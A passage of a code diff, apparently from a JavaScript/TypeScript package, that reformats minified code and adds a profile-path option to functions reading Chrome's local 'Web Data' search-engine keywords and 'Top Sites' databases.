+ const dbPath = join(p.path, "Web Data");
15
+ try {
16
+ const rows = queryDatabase(dbPath, `SELECT id, short_name, keyword, url, suggestions_url,
17
+ favicon_url, prepopulate_id, is_active
18
+ FROM keywords ORDER BY short_name`);
19
+ for (const row of rows) {
20
+ results.push({
21
+ profile: p.name,
22
+ id: row.id,
23
+ name: row.short_name || "",
24
+ keyword: row.keyword || "",
25
+ url: row.url || "",
26
+ suggestionsUrl: row.suggestions_url || "",
27
+ faviconUrl: row.favicon_url || "",
28
+ isDefault: row.prepopulate_id === 1,
29
+ isActive: row.is_active === 1,
30
+ });
31
+ }
32
+ }
33
+ catch {
34
+ // Skip profiles with errors
35
+ }
36
+ }
37
+ return results;
38
+ }
@@ -1,7 +1,5 @@
1
- export interface TopSiteOptions {
2
- chromeDir?: string;
3
- profile?: string;
4
- browser?: string;
1
+ import { type ResolveProfilesOptions } from "../core/chrome.js";
2
+ export interface TopSiteOptions extends ResolveProfilesOptions {
5
3
  }
6
4
  export interface TopSiteEntry {
7
5
  profile: string;
@@ -16,4 +14,4 @@ export interface TopSiteEntry {
16
14
  * @param options - Targeting options.
17
15
  * @returns Array of top site entries.
18
16
  */
19
- export declare function getTopSites({ chromeDir, profile, browser }?: TopSiteOptions): TopSiteEntry[];
17
+ export declare function getTopSites({ chromeDir, profilePath, profile, browser }?: TopSiteOptions): TopSiteEntry[];
@@ -1 +1,33 @@
1
- import{join as r}from"node:path";import{resolveTargetProfiles as o}from"../core/chrome.js";import{queryDatabase as t,tableExists as e}from"../core/db.js";export function getTopSites({chromeDir:i,profile:s,browser:c}={}){const n=o({chromeDir:i,profile:s,browser:c}),p=[];for(const o of n){const i=r(o.path,"Top Sites");try{if(!e(i,"top_sites"))continue;const r=t(i,"SELECT url, url_rank, title, redirects\n FROM top_sites ORDER BY url_rank ASC");for(const t of r)p.push({profile:o.name,url:t.url||"",title:t.title||"",rank:t.url_rank??0,redirects:t.redirects||""})}catch{}}return p}
1
+ import { join } from "node:path";
2
+ import { resolveTargetProfiles } from "../core/chrome.js";
3
+ import { queryDatabase } from "../core/db.js";
4
+ /**
5
+ * Retrieves top sites from Chrome's Top Sites database.
6
+ *
7
+ * @param options - Targeting options.
8
+ * @returns Array of top site entries.
9
+ */
10
+ export function getTopSites({ chromeDir, profilePath, profile, browser } = {}) {
11
+ const profiles = resolveTargetProfiles({ chromeDir, profilePath, profile, browser });
12
+ const results = [];
13
+ for (const p of profiles) {
14
+ const dbPath = join(p.path, "Top Sites");
15
+ try {
16
+ const rows = queryDatabase(dbPath, `SELECT url, url_rank, title, redirects
17
+ FROM top_sites ORDER BY url_rank ASC`);
18
+ for (const row of rows) {
19
+ results.push({
20
+ profile: p.name,
21
+ url: row.url || "",
22
+ title: row.title || "",
23
+ rank: row.url_rank ?? 0,
24
+ redirects: row.redirects || "",
25
+ });
26
+ }
27
+ }
28
+ catch {
29
+ // Skip profiles with errors
30
+ }
31
+ }
32
+ return results;
33
+ }